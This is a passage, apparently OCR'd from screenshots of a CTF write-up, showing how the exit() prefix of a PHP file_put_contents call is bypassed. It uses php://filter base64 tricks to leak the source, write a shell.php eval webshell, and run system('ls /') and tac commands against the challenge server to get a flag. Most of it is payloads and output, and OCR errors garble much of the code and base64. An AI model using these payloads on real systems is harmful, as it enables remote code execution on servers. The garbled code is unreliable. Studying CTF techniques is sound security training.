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payload: ?file=php://filter/read=convert.base64-
encode/resource=index.php
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include($file);

}
$filename=$_POST['filename';

$content=$ POST['content;

file put contents($filename,"<?php exit();".$content);
?>

</div>
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFIl ~ SSRF ~ SSTI ~ SHELL ~

URL encode

URL
http://121.43.27.97:20085/?file=php://filter/read=convert.base64-encode/resource=indey URLencode (all characters)

enctype URL decode
@@ Use POST method application/x-www-form-urlencoded v MODIFY HEADER
Body Name URL decode (+ is space)
filename=php://filter/write=convert.base64-decode/ Host 3
resource=shell.php&content=<?php @eval($_GET['pass']);?> ~ Base64 encode |

Name

v -
. User-Agent _  Base64 decode

Body
filename=php://filter/write=convert.base64-decode/ [

resource=shell.php&content=[ghllE g Ne[oleA AN \ITeNIZEN oI 24 o NN g [exeh )] gV (A BV
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2 $str="<?php exit();111PD9waHAgQGV2YWwoJFIHRVRbJ3Bhc3MnXSk7Pz4=";
echo baseb4 _decode(string: $str);
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unning] php "/home/hack/win-files/Code/PHP/SUIBIAN.PHP"
UB A@"‘ U@SQ}@ACKQSTXEOTACKWfSVN E(}t u EQ}WACKETB?Z u Ft}@
one] exited with in 0.03 second4

6.1 MK, FERTEIN—MBAT 7, IN_LATER"<?php exit();" 4
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J91PD9waHAgQGV2YWwoJFOHRVRb)3Bhc3MnXSk7Pz4=

$str="<?php exit();WPD9waHAgQGV2YWWoJF9HRVRbJBth3MnXSk7Pz44”;
echo baseb4_decode(string: $str);
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[Running] php "/home/hack/win-files/Code/PHP/SUIBIAN.PHP"
@Sus N+ U@S@@A(KQSTXEOTA(KWfSYN E@tUE@Wackers 72U F@@
[Done] exited with in 0.03 seconds

[Running] php "/home/hack/win-files/Code/PHP/SUIBIAN.PHP"
@susN@tu<?php @eval($_GET['pass']);?>
[Done] exited with in 0.019 seconds
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filename=php://filter/write=convert.base64-
decode/resource=shell.php&content=1PD9waHAgQGV2YWwoJF
9HRVRDb)3Bhc3MnXSk7Pz4=

Body
filename=php://filter/write=convert.base64-decode/
resource:shell.php&content:1PDQwaHAgQGVZYWwoJF9HRVRbJ3thBMnXSk7Pz4
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LOAD ~ SPLIT EXECUTE TEST ~ SQLl - XSS -

LFI ~ SSRF ~ SST
URL

http://121.43.27.97:20085/shell.php?pass=system('ls /');

9.4ZHiflag

G @+uflag{Welcome_To_LFI_Shopping_Mall}
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LOAD ~ SPLIT

EXECUTE TEST ~ SQLl - XSS ~ LFI ~ SSRF ~
URL

http://121.43.27.97:20085/shell.php?pass=system('tac /f139|' );




